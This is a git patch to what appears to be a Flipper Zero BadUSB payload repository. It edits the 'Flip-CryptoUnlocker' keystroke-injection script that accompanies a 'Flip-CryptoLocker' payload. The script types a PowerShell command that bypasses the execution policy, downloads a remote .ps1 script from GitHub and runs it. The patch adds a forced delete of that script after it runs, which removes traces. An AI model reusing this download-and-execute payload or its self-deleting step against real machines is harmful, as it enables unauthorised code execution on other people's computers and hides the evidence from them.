From 54c1f90fdb210f45bd9f83d29c5e5bc4b5761c41 Mon Sep 17 00:00:00 2001 From: ooovenenoso <120500656+ooovenenoso@users.noreply.github.com> Date: Tue, 31 Oct 2023 11:50:37 -0400 Subject: [PATCH] Update Flip-CryptoUnlocker.txt Modified Flip-CryptoUnlocker to automatically delete after execution --- Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt index cbf5a5d..47a901f 100644 --- a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt +++ b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt @@ -9,5 +9,5 @@ LEFTARROW DELAY 2000 ENTER DELAY 4000 -STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1" +STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; Remove-Item "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1" -Force ENTER